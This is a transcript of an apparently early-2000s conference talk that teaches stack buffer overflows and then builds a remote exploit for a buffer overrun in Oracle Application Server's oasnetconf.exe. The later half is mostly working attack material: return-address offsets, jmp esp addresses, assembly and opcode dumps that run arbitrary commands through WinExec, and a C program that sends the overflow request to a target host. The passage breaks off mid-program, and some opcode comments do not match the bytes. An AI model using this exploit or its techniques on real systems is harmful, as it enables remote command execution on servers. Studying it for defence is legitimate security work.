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About three hundred and seventy fives years before Caesar was conquering Britain a philosopher called 

Socrates claimed that the only thing he knew was that he new nothing. One thing is evident - he 

certainly did not know that someone would be ripping off one of his lines to introduce a talk about 

buffer overruns over two millennia later. However, his words and their import hold true for all of us 

today especially in the IT security industry. There is just so much to learn and the more you do the more 

you realize that, in the larger picture we really do know nothing. That's what this talk is about. Over the 

next hour or so I'm going to attempt to teach those with absolutely no knowledge about buffer overruns 

about what one actually is, how to recognize one and ending with how to exploit one - using an 

as-of-yet-undisclosed buffer overrun vulnerability in a major database vendor's web front end. Hopefully 

you'll see that you don't really need to know that much to be able to getting a working exploit. I assume 

that some in this room do know nothing and others know everything there is to know about overruns 

and are just here to heckle me. 

  

So what is a buffer overrun and why should you care? The SANS institute a few months back released a 

list of the 10 most commonly used methods to break into servers. Of these ten a large number can be 

attributed to buffer overrun vulnerabilities. They are a major problem. This is why you should know 

about them. So what are they then? A buffer overrun occurs when a program sets aside, say, 100 bytes 

of memory to hold some data, (this is the buffer), but then the user tries to stuff in 200 bytes of input, 

and like someone attempting to pour a pint of milk into a glass that'll only hold half a pint, the 

remainder will overflow. It is plainly obvious that half of the pint will go into the glass but the remainder 

will fall onto the floor. Though you really shouldn't cry over spilt milk there is certainly good cause to cry 

over the computer equivalent - well if it's your server with the overflow vulnerability, anyway. When this 

overflow occurs the (talking about computer overflows) the remainder of the data that spills out of the 

buffer can overwrite critical values in memory that control the program's path of execution. What do I 

mean by that? We'll imagine if a simple program prompted a user for input and then simply printed 

what the user typed to the screen. Under normal circumstances the path of execution would be: 

  

            A Ask the user to type something. 

            B Set aside 100 bytes of memory as a buffer to hold whatever the user type. 

            C Wait for input. 

            D On getting the user's input copy all of it to the 100 byte buffer. 



            E Read the contents of the buffer and print it to the screen. 

  

This is fine providing the user enters less than 100 bytes of input. However if the user does enter more 

than 100 bytes then things will go wrong. In this case instead of executing sequentially from A to E 

procedure E is obliterated and the program will choke and access violate. On the other hand a crafty 

user might not just obliterate step E but replace it instead with a procedure F - a procedure that they 

have crafted to do evil things. When I spoke about procedure E getting obliterated I'm not being exactly 

technically correct. It doesn't get obliterated it is simply by-passed and the program's execution is 

re-routed away from E to F. Let me explain this further by looking at the guts of how a program 

executes: 

  

When you run a program it becomes known as a process and is given 4 Gigabytes of address space to 

execute in by the underlying operating system. How can this be? You may ask when your PC only has 

128 Megabytes of RAM. We'll were talking about a virtual address space, a sort of illusion created for 

the program by the operating system making the program think it has a 4 Gigabyte playground to 

execute in. Pretty much like what the Matrix did for Keaau before he took the red pill. 

  

Each byte of the 4 gigabytes of address space has an address starting from 0x00000000 to 0xFFFFFFFF. 

Note we're using hexadecimal notation or Base16. For those that don't know what this means it is 

simply a numbering system that has the numbers 0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F. Most numbers in this 

talk will be in hex form unless I state otherwise. But back to the addressing, what happens when you run 

a program is that the actual code is mapped into the address space, say, starting at address 0x00400000. 

Any Dynamic Link Libraries or DLLs used by the program will also be loaded into the address space at 

various addresses. A DLL contains computer code that hasn't been directly compiled or included directly 

into the program image file, that actual .exe file, itself. This way a computer program's image file can be 

smaller by using a shared set of DLLs that other programs can use too. 

  

As you'll be aware most programs manipulate data in one form or another. Any that don't will be pretty 

useless. Accordingly there's a block of this address space that's designated as the area where data is to 

be stored and manipulated.  This area is known as the STACK and dynamically shrinks and grows as and 

when desired. It's easiest to think of the stack as expandable workbench. When the stack does grow it 

grows towards address 0x00000000 and when it shrinks it shrinks down towards address 0xFFFFFFFF: 

  

  



Assuming the bottom of the stack can be found at address 0x0012FF0F it looks like this before it grows 

0x00000000       

... 

0x0012FF00 

0x0012FF01 

0x0012FF02 

0x0012FF03 

0x0012FF04 

0x0012FF05 

0x0012FF06 

0x0012FF07 

0x0012FF08 ------------------------------ Top of the stack 

0x0012FF09 

0x0012FF0A 

0x0012FF0B 

0x0012FF0C 

0x0012FF0D 

0x0012FF0E 

0x0012FF0F ------------------------------ Bottom of the stack 

... 

0xFFFFFFFF 

  

But then looks like this when it does grow 

  

0x00000000       



... 

0x0012FF00 

0x0012FF01 

0x0012FF02 

0x0012FF03 

0x0012FF04 ------------------------------ New top of the stack 

0x0012FF05 

0x0012FF06 

0x0012FF07 

0x0012FF08 - - - - - - - - - - - - - - - (old top of the stack) 

0x0012FF09 

0x0012FF0A 

0x0012FF0B 

0x0012FF0C 

0x0012FF0D 

0x0012FF0E 

0x0012FF0F ------------------------------ Bottom of the stack 

... 

0xFFFFFFFF 

  

But when it shrinks it looks like this 

  

0x00000000       

... 

0x0012FF00 



0x0012FF01 

0x0012FF02 

0x0012FF03 

0x0012FF04 - - - - - - - - - - - - - - - (old top of the stack) 

0x0012FF05 

0x0012FF06 

0x0012FF07 

0x0012FF08 

0x0012FF09 

0x0012FF0A 

0x0012FF0B 

0x0012FF0C ------------------------------ New top of the stack 

0x0012FF0D 

0x0012FF0E 

0x0012FF0F ------------------------------ Bottom of the stack 

... 

0xFFFFFFFF 

  

So where is this leading? Just setting the scene to explain how a program executes and it's important to 

know about the stack before I can explain it. As you'll see this is integral to understanding and exploiting 

a buffer overrun. 

  

A program can really be divided up into loads of discrete chunks of computer code called procedures 

that each perform their own little task but when combined as a whole together they provide the 

program's functionality. Each of these procedures execute and then when finished the next procedure is 

called to do its little bit. When the next procedure is called, and this is the key, the address following the 

address of where the call to execute the next procedure can be found is pushed onto the stack. It 

sounds difficult to grasp but it isn't really - not with the aid of a diagram anyway. 



  

Consider the following: The top of the stack can be found at address 0x0012FF04. The program is just 

about to execute the instruction that can be found at address 0x401F2034 - "call procedure Q" which 

can be found at address 0x40209876. 

  

0x00000000       

... 

0x0012FF00 

0x0012FF01 

0x0012FF02 

0x0012FF03 

0x0012FF04 ------------------------------ Top of the stack 

0x0012FF05 

0x0012FF06 

0x0012FF07 

0x0012FF08 ------------------------------ Bottom of the stack 

... 

... 

0x401F2034 call procedure Q <---------- Processor is about to execute this 

0x401F2035 

... 

0x40209876 procedure Q 

... 

0xFFFFFFFF 

  

When this instruction at address 0x401F2034 is executed our address space looks like this: 



  

0x00000000       

... 

0x0012FF00 ------------------------------ Top of the stack 

0x0012FF01          40 

0x0012FF02          1F 

0x0012FF03          20 

0x0012FF04          35 

0x0012FF05 

0x0012FF06 

0x0012FF07 

0x0012FF08 ------------------------------ Bottom of the stack 

... 

... 

0x401F2034 call procedure Q 

0x401F2035 

... 

0x40209876 procedure Q <---------- Processor is about to execute this 

... 

0xFFFFFFFF 

  

As you can see the address immediately after the address where "call procedure Q" can be found has 

been pushed onto the top of stack. The reason this happens is so that when procedure Q has finished its 

task and is ready to return the processor can pull this address off of the stack and resume execution 

from where it left off. This address is known as the "saved return address". 

  

From an attacker's perspective if this saved return address could somehow be overwritten with 



something else then when procedure Q has finished executing and the replaced return address is peeled 

off of the stack then it would be possible to get the program to execute arbitrary code. 

  

Imagine if somehow an attacker could overwrite this saved return address - it would then be possible to 

jump to an arbitrary address in memory of the attacker's choosing thus radically altering the original 

intended path of the program's execution. Jump to the right place and it might even be possible to 

execute computer code of the attacker's choosing too. Enter the buffer overrun exploit. Remember the 

stack is also the place where data is manipulated. If we can find and cause a buffer overflow it will be 

possible to overwrite this saved return address and gain complete control of the program's execution. 

  

This is the first step in being able to exploit a buffer overrun but why do situations that allow memory 

buffers to be overflowed crop up? More often that not buffer overrun vulnerabilities are caused by poor 

or lazy programming though in all fairness they can be simply an oversight. Further to this the 

programming language used to write the program in the first instance is partially to blame too. Most 

overruns can be found in programs written in C or C++ and are usually caused by how C handles 

character strings. Other programming languages handle strings in a much more safe manner. 

  

Consider the following C source code: 

  

#include <stdio.h> 

int main() 

{ 

            char garbage[100]; 

            printf("Enter some characters: "); 

            gets(garbage); 

            printf("You typed %s\n", garbage); 

  

            return 0; 

} 

  



Simply this program, when compiled, will ask the user to "Enter some characters:" and when this has 

been done it tells the user they typed - well whatever it is they typed. Note the gets() function. This 

copies data typed in at the keyboard and copies it to a buffer - in this case a buffer called "garbage" that 

is 100 bytes big. The problem with the gets() function is it keeps on copying data until it comes across a 

NULL byte and if the first NULL byte happens to be 200 bytes away from the beginning of the string then 

200 bytes will be copied to a 100 byte buffer. The maths simply just doesn't go and the overflow occurs. 

A NULL is simply a byte with a numeric value of 0. Strings are terminated with a NULL to denote where 

they end. 

  

Other C function that lead to similar problems are strcpy() which copies the contents of one string buffer 

to another, strcat(), which tacks on to the end of one string buffer a second buffer. Obviously in both of 

these cases if one buffer isn't big enough to hold the other then an overflow occurs. There are other C 

functions that have similar problems but these will do for the moment. These functions all do however 

have safer equivalents. For example strcat () has strncat(), strcpy() has strncpy() and gets() has fgets(). 

With each of these you specify how many bytes are to be copied to the buffer regardless of where the 

string is null terminated. In cases where the string would be too long to fit into the buffer and one of 

these safer functions are being used then the string would be truncated - providing the programmer 

ensures he copies a number of bytes less than the size of the buffer being filled. 

  

Putting this together then here's how we gain control of the program's path of execution: 

  

A Program calls the "print a message to the screen asking the user to type something" procedure 

B Return address is pushed onto the stack 

C "print a message to the screen asking the user to type something" procedure executes 

D "print a message to the screen asking the user to type something" procedure returns to the address 

that was saved on the stack. 

E Program sets aside 100 bytes of memory on the stack for the buffer 

  

Here the user enters 200 bytes of input 

  

F Program calls the "copy the user supplied data to buffer on stack" procedure 

G Return address is pushed onto the stack 



H The "copy the user supplied data to buffer on stack" procedure executes and copies those 200 bytes 

of user-supplied data to the stack 

  

At step H in the process of doing this the saved return address on the stack is overwritten. 

  

J The "copy the user supplied data to buffer on stack" procedure returns to the address that was saved 

on the stack. 

  

Aha! But this has been overwritten with the user-supplied data. Now here's the crunch: We now control 

where the program will return to and if we overwrite this to an address in memory where our user 

supplied data can be found we can possibly execute computer code of our choosing. We do this by 

putting the code in that data we supply and so when the program returns it does so to our buffer and 

computer code. And then the code is executed. 

  

Simply this is the buffer overrun exploited. Granted the actual mechanics of exploiting the overrun are 

more difficult, but before we examine the exploit building process I'd better explain a few more things. 

For those waiting for the Zero Day sploit info you'll just have to hang on a few minutes longer as I need 

to explain a bit more about how a program executes. 

  

Everyone knows that a computers CPU or processor is the hardware component that does all the 

donkeywork. It's the "thing", for want of a better word that executes a program's code. I keep on 

referring to computer code - what is computer code exactly? We'll, again, as many of you know 

computers are logical beasts and work with numbers. To a computer everything is seen as a number - a 

binary one at that. To be able to do anything useful a processor needs to have an set of instructions that 

it "knows" and can blindly follow - for example if it comes across the instruction 0x55 it "knows" what to 

do with it - it knows this because it has an instruction set. This instruction set is a list of operations that 

map to a numeric value or code. These are often referred to as OPCODEs. That's all computer code is - it 

is a list of opcodes strung together in a certain way that'll produce something useful. When someone 

programs with these numbers it is known as programming using machine code - in other words the real 

language that the computer "talks" and understands. When we program in a high-level language like C 

our human friendly source code is converted into machine code. It is this that is executed by the 

computer. 

  

To help with the actual processing a processor has little storage units on it called registers. These 



registers can hold values, addresses and the like. Some of them have a special purpose. For example the 

EIP register is the Instruction Pointer - it contains the address of (or points) to the next instruction to 

execute. Remember the stack? There are two registers that are specifically there to help with 

manipulating and keeping track of data stored on the stack. The EBP register is the Base Pointer and 

contains the address of the bottom of the stack. Then there's the ESP or Stack Pointer, which points to 

the top of the stack. As far as this talk goes these three registers are enough to know about as far as 

their purpose is concerned. For the time being though, just note we have a number of other registers 

available for use such as the EAX, ESI, EDI and a few others. It is with the use of these registers that the 

work is actually done. Before you can manipulate any data a pointer to it needs to be placed into one of 

these registers. Slightly more user friendly than machine code is assembly language. 

  

Consider the following snippet of assembly code: 

  

mov eax, 0x04 

mov edx, 0x01 

add eax, edx 

  

This simply MOVes into the EAX register the hex value 0x4, then MOVes the value 0x1 into the EDX 

register and finishes by adding the EAX and EDX registers together leaving the value 0x5 in the EAX. 

Simple really, eh? 

  

When we're building our exploit code we'll be using assembly language and then once done we'll put it 

through the debugger to get the machine code equivalent. It is this machine code that we'll be putting in 

our buffer. 

  

So with all this let's set about building our exploit. In my opinion there are seven steps to building a 

buffer overrun exploit. 

  

1) First find a buffer overrun vulnerability 

2) When found find out how many bytes are required to overwrite the saved return address 

3) Find a copy of our user supplied data in the address space 



4) Work out what address we need to use to overwrite the saved return address with to be able to get 

back to our buffer 

5) Work out what we want we want to do with the overflow exploit 

6) Write our computer code that'll perform what we decided we wanted to do in step 5 

7) Test it. 

  

As far as this talk is concerned stage 1 is fairly easy - I'll be telling you where a buffer overrun 

vulnerability can be found. To find one there are a number of ways to do it. You could read through 

source code looking for slip-ups - that is of course if the source code is available. If the source code isn't 

available then you could use a debugger or decomplier. Or simply you could sit through and look at all 

areas where you can input information into a program. But you have to look at the right programs. 

Basically you're looking for an overflow that is a program that you can access remotely or if your looking 

to gain elevated privileges on your own machine then examine all processes that have more access 

rights / privileges than yourself. We're going to look at a remotely exploitable buffer overrun that, in 

most cases, runs with system privileges. This is the nirvana of the buffer overflow hunter. A remotely 

exploitable buffer overrun that runs with system privileges means we can compromise servers with 

ease. Such an overrun hands you the keys to the car. 

  

So where is it? Oracle makes great database servers. Their web front end leaves something to be desired 

though. On its own Oracle Application Server provides a web server called Oracle Web Listener. Oracle 

Application Server can also be layered on top of other web servers such as Apache, Internet Information 

Server and Netscape Enterprise Server to enable the use of PL/SQL to provide web front-end 

functionality that feeds into an Oracle database server. Regardless of whether Oracle Web Listener is in 

use or OAS is layered on top of another web server a directory called /ows-bin/ is created. This 

/ows-bin/ is by default accessible anonymously over the World Wide Web and contains a number of 

executables, many of which are shot through with buffer overrun vulnerabilities. As far as physical 

location is concerned, on NT anyway, this virtual directory physically maps to c:\orant\ows\4.0\bin 

  

For example oasnetconf.exe 

The overrun occurs when an overly long string is supplied after the -s switch 

oasnetconf.exe -l -s AAAAAAA.....AAAAAAAA 

  

  



  

2) When found, find out how many bytes are required to overwrite the saved return address 

The simplest way to find the number of bytes required to overflow the buffer then overwrite the saved 

return address, without getting too technical about it, is to use a string of alternating alphanumerics in 4 

character chunks - e.g. AAAABBBBCCCCDDDDEEEE and so on - if the buffer will hold every character and 

more without overflowing simply prepend more of the first character you're using 

AAAAAAAAAAAAAAA...BBBBCCCCDDDD - in this particular case using a string of 

  

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNN

NNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZaaaabbbbccccddddeeeeffffggggh

hhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzz1111222233334444

555566667777888899990000 

  

will cause an access violation: The instruction at address 0x7a7a7a7a referenced memory at 0x7a7a7a7a 

- we've overwritten the saved return address with our lower case "zeds". That means that the buffer is 

300 bytes. What to do now is slap on an extra 440 upper case As on the end to this string and overflow 

the buffer again. This time debug it. 

  

3) Find a copy of our user supplied data in the address space 

Once the debugger has kicked in, I use Microsoft's debugger as comes with Visual C++ by the way, we 

need to see if we can find our overflow string. The easiest way to do this is to analyze the contents of 

each register - especially the ones that reference the stack - namely the EBP and ESP. By looking at the 

address held in the ESP register we find an address of 0x0012C774 - this is the top of our stack (this 

address will invariably change, by the way). By going down to address we can find some of our overflow 

string - starting from the four 1s. What does this mean then? All we have to do is place any exploit code 

immediately after our four "zeds" and if somehow if we can manage to get to processor to go to this 

address and starting executing what it finds there we'll have gained control. 

  

4) Work out what address we need to use to overwrite the saved return address with to be able to get 

back to our buffer 

Remember we have overwritten the saved return address and what that means. It means that the 

address that the processor should've returned to after the procedure it had just finished executing had 

called RETurn has been overwritten by us, the attacker. That means we can overwrite it with almost 



anything we want - I say anything because we can't have a NULL in it - remember they terminate strings 

in C anything we would place after it would just be, well, not there. Our code-to-be can found at the ESP 

- to get back there all we need to do is overwrite the saved return address with an address that contains 

either a "jmp esp" or "call esp" instruction - these two instructions do essentially the same thing - the 

processor will go to the ESP and start executing downwards from there. This way what'll happen is when 

the finishing procedure calls ret our address is peeled off of the stack - the process then goes to this 

address to find its next instruction to execute - what’ll be call or jmp esp and when this executes the 

processor will go down to the ESP and executes what it finds there. The only problem now is to find such 

an instruction in memory that doesn't contain a NULL. A few things can be done to help speed this 

process up. You can use something like UltraEdit, a binary editor, to search for FF E4 or FF D4 (the actual 

machine opcodes for the jmp esp and call esp instructions) in every DLL that is used and therefore 

loaded into the address space by the program. We know that kernel32.dll will always be loaded, for 

example, so we root through that looking for our opcodes. When we find them we look at the offset 

from the beginning of the file - we can find FF E4 (the jmp esp opcode) at 0x32836 offset from the start 

of the kernel32.dll.  We then go back to our debugger and go add this offset to the base address of the 

DLL. For example the base address of kernel32.dll is 0x77F00000 - on Windows NT 4 SP6 anyway - we 

add the offset 0x32836 to the base address to come up with 0x77F32836 and go to that address - and 

bang there's our FF E4 opcode. So if we overwrite the saved return address with 0x77F32836 when the 

function RETurns the processor will go to this address, execute the instruction it finds which lands us at 

the tope of our exploit code. 

  

  

So anyway this is the address we'll use to overwrite the saved return address - i.e. we'll replace our 

lowercase zeds with this - with one caveat we need to load it in backwards. i.e. x36x28xF3x77. Now we 

have a way to get back to our exploit code - we need to write it. 

  

  

5) Work out what we want we want to do with the overflow exploit 

Before we can write our exploit code we need to know what we want to do. First off we need to 

consider where the overflow is. It's in an exe that is accessed over the web this means it goes over TCP 

port 80 and we can make the assumption that the target is protected by a firewall - allowing incoming 

traffic over ports 80 and maybe 443. Because these ports will be bound to another process there's no 

point in trying to spawn a remote shell that'll listen on these ports and there's no point in doing it on 

another port because it may be blocked by the firewall. We want this exploit to work on every server 

protected by a firewall or not. Rather than spawning a remote shell we should code an exploit that'll 

give us the equivalent of a remote shell - something that'll allow us to run not only arbitrary code but 

also arbitrary commands - without having to ever change the exploit code. What we can do append a 



command, any command to our exploit code and get our code to find this command and then execute 

that. 

  

e.g. AAAAAAAAAAAAAAAAexploit-code-zzzz-cmd.exe /c dir 

  

To do this we'll need to understand something about the way arguments are supplied to programs. 

Basically any arguments, and the whole command line for that matter can be found in another area of 

memory called the HEAP. Like the STACK the HEAP holds data - sort of. On the heap you can find the 

environment variables, the command line and other "stuff" which I won't go into now. All we need to 

know for this is that whatever we supply to oasnetconf.exe will be found on the heap - including our 

exploit code and everything we supply after it. What we could get our exploit code to do is work out 

where our command line is - and step through this until it finds a "special" dword - when it finds this it 

"knows" everything after this is a command to execute. Don't worry - this will become much more clear. 

Essentially we'll get our exploit code to do the equivalent of the following C: 

  

We'll use GetCommandLineA () to get the address of the command line. 

We'll then step through everything downwards from this address looking for a special byte that denotes 

our command to run. When we find this we'll supply this address to WinExec(). WinExec() will execute a 

command so when we supply it the address of our command to run it'll go off and execute it. We'll 

choose our special byte by looking through our final exploit code and choose a value that isn't in there. 

For example if the byte 0xFE is not in our exploit code we could use this as our demarker. If we were to 

use a byte that was in our exploit code then we wouldn't be able to find our command to run. 

  

6) Write our computer code that'll perform what we decided we wanted to do in step 5 

  

  

The first thing we need to do is preserve the state of the stack - if we don't do this we could mess up our 

exploit code. We do this with the procedure prologue: 

  

                                    push ebp 

                                    mov ebp,esp 



  

We need to call GetCommandLineA() first so we open up kernell32.dll in Quick View and look through 

the Export Table for this function. An Export Table is the list of functions exported by the DLL that other 

DLLs or EXEs can call. The Export Table tells us that GetCommandLineA can be found at offset 0001A3F5 

so we add this to the base of kernel32.dll to give us 0x77F1A3F5. GetCommandLineA() takes no 

arguments so all we need to do is load this address into a register and then call it: 

  

                                    mov ebx, 0x77F1A3F5 

                                    call ebx 

  

This will go off and execute GetCommandLineA() - when it returns it places the address of the command 

line place in the EAX register. Now we've got our Command Line back we'll step through the string 

looking for our "special" dword that denotes where our command to run can be found. At this point in 

time we can assume that 0x7a7a7a7a won’t exist in the command line so we’ll use that. 

  

here: 

                                    add eax,1 

                                    mov edx,dword ptr [eax] 

                                    cmp edx,0x7a7a7a7a 

                                    jne here 

  

                                    

  

Aha - but now we have 0x7a7a7a7a in our command line. To avoid this we’ll have to do this: 

  

mov esi, 0xFFFFFFFF 

sub esi, 0x85858585 

here: 



                                    add eax,1 

                                    mov edx,dword ptr [eax] 

                                    cmp edx,esi 

                                    jne here 

  

  

  

  

What this code basically loops until it comes across the special dword. It does this by incrementing the 

address in the EAX register by 1, then MOVes the dword pointed to by the EAX into the EDX register. It 

then CoMPares the EDX register with the ESI register which contains 0x7a7a7a7a - our special dword. 

  

Here we have a problem. Some web servers, such as IIS, will kick out an error if there appears to be two 

file requests - and there would be in this case. A call to oasnetconf.exe and the command we want to 

run. We’ll have to obscure it in the request. We do this by adding 1 to every character in our command 

and then supply it to the server tacked onto the end of the exploit code. Because of this we’ll have to 

undo this as part of our exploit. First off we mov the pointer to our command line into another register: 

  

                        mov edx,eax 

  

  

Then we go through another loop: 

  

here2: 

                                    sub byte ptr[edx],1 

                                    add edx,1 

                                    movsx edi,byte ptr[edx] 

                                    cmp edi,0x58 



                                    jne here2 

  

What this code does is subtract 1 from the byte pointed to by edx, adds 1 to edx to move on down the 

line, moves the byte pointed to by edx into the edi register then compares it with 0x58 or uppercase 

“X”. We’re going to use this uppercase “X” to delimit the end of our command to run. This code keeps 

on looping until it comes across this “X”. No puns about X marks the spot. 

  

Once this loop ends we’re going to need to get rid of this X - we do so by subtracting 58 from the byte 

pointed to by edx. 

  

                                    sub byte ptr[edx],0x58                             

  

  

WinExec() takes two arguments. A pointer to a string of the command to run and a DWORD that 

denotes how the program should be displayed. For example SW_HIDE is defined a 0. For ease we'll just 

use 0 . To get zeros we all we need to do is XOR a register with itself - when this is done we'll push it 

onto the stack: 

  

  

                                    xor esi, esi 

                                    push esi 

  

The second argument we need to pass to WinExec() is a pointer to the string of our command to run. 

This is stored in EAX at the moment - well not strictly speaking true - EAX points to our zeds - our special 

dword - so we’ll need to add 4 to eax and then push onto the stack too: 

  

                                    Add eax, 4 

                                    push eax 

  



Now we have our arguments primed we'll load the address of WinExec() into a register and then call it. 

When it's called it'll look on the stack for its arguments. We do the same as we did for 

GetCommandLineA() to get the address, which turns out to be 0x77F1A986 

  

                                    mov ebx, 0x77F1A986 

                                    call ebx 

  

This should now go off and execute the command we've slapped onto the end of our exploit code. To 

cleanly kill oasnetconf.exe without causing an access violation we call ExitProcess(): 

                                    mov ebx, 0x77F19F92 

                                    call ebx 

  

  

  

Okay - that's our exploit code. Not very much to it really. Now we have our assembly code we need to 

get out our opcodes - we do this by cutting and pasting this code into a simple C source file that calls the 

__asm() macro. 

  

#include <stdio.h> 

int main() 

{ 

                        __asm{ 

                                    push ebp 

                                    mov ebp,esp 

  

                                    mov ebx, 0x77F1A3F5 

                                    call ebx 



                                    add eax,57 

  

here: 

                                    add eax,1 

                                    mov edx,dword ptr [eax] 

                                    cmp edx,0x7a7a7a7a 

                                    jne here 

                        

mov edx,eax 

here2: 

sub byte ptr[edx],1 

add edx,1 

movsx edi,byte ptr[edx] 

cmp edi,0x58 

jne here2 

  

sub byte ptr[edx],0x58                                    

                                    

                                    xor esi, esi 

                                    push esi 

                                    

                                    add eax,4 

                                    push eax 

                                    mov ebx, 0x77F1A986 

                                    call ebx 



                                    mov ebx, 0x77F19F92 

                                    call ebx 

                        } 

  

            return 0; 

} 

We then open up Visual C++ and then build it. Once built we debug it. By doing this we can extract the 

opcodes: 

  

00401028 55                   push        ebp 

00401029 8B EC                mov         ebp,esp 

0040102B BB F5 A3 F1 77       mov         ebx,77F1A3F5h 

00401030 FF D3                call        ebx 

00401032 83 C0 39             add         eax,39h 

here: 

00401035 83 C0 01             add         eax,1 

00401038 8B 10                mov         edx,dword ptr [eax] 

0040103A 81 FA 7A 7A 7A 7A    cmp         edx,7A7A7A7Ah 

00401040 75 F3                jne         here (00401035) 

00401042 8B D0                mov         edx,eax 

here2: 

00401044 80 2A 01             sub         byte ptr [edx],1 

00401047 83 C2 01             add         edx,1 

0040104A 0F BE 3A             movsx       edi,byte ptr [edx] 

0040104D 83 FF 58             cmp         edi,58h 

00401050 75 F2                jne         here2 (00401044) 



00401052 80 2A 58             sub         byte ptr [edx],58h 

00401055 33 F6                xor         esi,esi 

00401057 56                   push        esi 

00401058 83 C0 04             add         eax,4 

0040105B 50                   push        eax 

0040105C BB 86 A9 F1 77       mov         ebx,77F1A986h 

00401061 FF D3                call        ebx 

00401063 BB 92 9F F1 77       mov         ebx,77F19F92h 

00401068 FF D3                call        ebx 

  

Now we have our opcodes we can choose what our special byte is going to be - we'll stick with 

0x7a7a7a7a - otherwise known as 4 lowercase zeds. 

  

  

  

All we need to do now is put everything together in an exploit program: 

  

First off we need to fill up the buffer, then place 0x77F32836 as the value to overwrite the saved return 

address with then tack on our opcodes. We can also write our exploit program to convert the command 

for us too: 

  

/****************************************************************** 

/* 

/*            owlbo.exe 

/* 

/*          Buffer overflows oasnetconf.exe on Oracle Application Server 

/*            Addresses should be changed for non-service pack 6a machines 



/* 

/* 

/* 

/******************************************************************/ 

  

#include <windows.h> 

#include <winsock.h> 

#include <string.h> 

#include <stdio.h> 

  

  

struct sockaddr_in sa; 

struct hostent *he; 

SOCKET sock; 

char hostname[256]; 

char commandtorun[2000]; 

  

  

int main(int argc, char *argv[]) 

{ 

            int chk=0,count =0; 

            

            if(argc !=3) 

                        { 

                                    printf("Usage: C:\\>owlbo.exe host port\nDavid Litchfield 

(mnemonix@globalnet.co.uk)\n\n"); 



                                    return 0; 

                        } 

            strncpy(hostname,argv[1],250); 

  

  

            printf("Enter the command to run: "); 

            fgets(commandtorun,2000,stdin); 

            chk = strlen(commandtorun); 

  

            commandtorun[chk-1]=0x00; 

  

  

            // We do this to hide the command to run from the web server 

            // Not doing this can cause web server to reject request 

            while(count < (chk)) 

                        { 

                                    commandtorun[count]++; 

                                    count ++; 

                        } 

  

            // Need this X on the end to mark the end of our command to run 

            strcat(commandtorun,"X"); 

  

            chk = startWSOCK(hostname); 

                        



  

            chk = doBO(atoi(argv[2])); 

            return 0;                        

}           

  

int startWSOCK(char *swhost) 

{ 

            int err=0; 

            WORD wVersionRequested; 

            WSADATA wsaData; 

            

  

            wVersionRequested = MAKEWORD( 2, 0 ); 

            err = WSAStartup( wVersionRequested, &wsaData ); 

            if ( err != 0 ) 

                        { 

                                    

                                    return 2; 

                        } 

            if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 0 ) 

                        { 

                                    WSACleanup( ); 

                                    return 3; 

                        } 

  



            if ((he = gethostbyname(swhost)) == NULL) 

                        { 

                                    return 4; 

                        } 

            sa.sin_addr.s_addr=INADDR_ANY;  

            sa.sin_family=AF_INET; 

            memcpy(&sa.sin_addr,he->h_addr,he->h_length); 

  

            return 0; 

}           

  

int doBO(int portnum) 

{ 

            int snd=0, rcv=0, count=0; 

            char resp[200]; 

            unsigned char buffer[4000]="GET /ows-bin/oasnetconf.exe?-l%20-s%20"; 

            unsigned char exploit[1500]=""; 

            

            sa.sin_port=htons(portnum); 

            sock=socket(AF_INET,SOCK_STREAM,0); 

            bind(sock,(struct sockaddr *)&sa,sizeof(sa)); 

            

            if (sock==INVALID_SOCKET) 

                        { 

                                    printf("Invalid Socket!\n"); 



                                    closesocket(sock); 

                                    return 0; 

                        } 

            else 

                        { 

                                    printf(""); 

                        } 

  

            if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)) < 0) 

                        { 

                                        printf("Couldn't connect on port %d",portnum); 

                                    closesocket(sock); 

                                    return 0; 

                        } 

            else 

                        { 

                                    while(count <300) 

                                                { 

                                                            exploit[count]=0x41; 

                                                            count ++; 

                                                } 

  

  

            //Overwrite save return address with 0x77F32836 

            exploit[count++]=0x36; 



            exploit[count++]=0x28; 

            exploit[count++]=0xf3; 

            exploit[count++]=0x77; 

  

  

            // push ebp 

            exploit[count++]=0xCC; 

  

            // mov ebp,esp 

            exploit[count++]=0x8B; 

            exploit[count++]=0xEC; 

  

            // mov         ebx,77F1A3F5h 

            exploit[count++]=0xBB; 

            exploit[count++]=0xF5; 

            exploit[count++]=0xA3; 

            exploit[count++]=0xF1; 

            exploit[count++]=0x77; 

  

            // call ebx 

            exploit[count++]=0xFF; 

            exploit[count++]=0xD3; 

  

            // mov esi, 0xFFFFFFFF 

            exploit[count++]=0xBE; 



            exploit[count++]=0xFF; 

            exploit[count++]=0xFF; 

            exploit[count++]=0xFF; 

            exploit[count++]=0xFF; 

  

            // sub esi, 0x85858585 

            exploit[count++]=0x81; 

            exploit[count++]=0xEE; 

            exploit[count++]=0x85; 

            exploit[count++]=0x85; 

            exploit[count++]=0x85; 

            exploit[count++]=0x85; 

  

            // Loop to find our command line    

            // add eax,1 

             exploit[count++]=0x83; 

            exploit[count++]=0xC0; 

            exploit[count++]=0x01; 

  

            // mov edx,dword ptr [eax] 

            exploit[count++]=0x8B; 

            exploit[count++]=0x10;                         

            

            // cmp edx,esi 

             exploit[count++]=0x3b; 



            exploit[count++]=0xd6;          

  

            // jne here (00401035) 

             exploit[count++]=0x75; 

            exploit[count++]=0xF7; 

  

            // mov edx,eax 

            exploit[count++]=0x8B; 

            exploit[count++]=0xD0; 

  

            // sub byte ptr[edx],1 

            exploit[count++]=0x80; 

            exploit[count++]=0x2A; 

        exploit[count++]=0x01; 

  

            // add edx,1 

            exploit[count++]=0x83; 

        exploit[count++]=0xc2; 

            exploit[count++]=0x01; 

  

            // movsx edi,byte ptr[edx] 

        exploit[count++]=0x0F; 

            exploit[count++]=0xBe; 

        exploit[count++]=0x3a; 

  



            // cmp edi,0x58 

            exploit[count++]=0x83; 

        exploit[count++]=0xFF; 

            exploit[count++]=0x58; 

  

            // jne here2 

        exploit[count++]=0x75; 

            exploit[count++]=0xF2; 

  

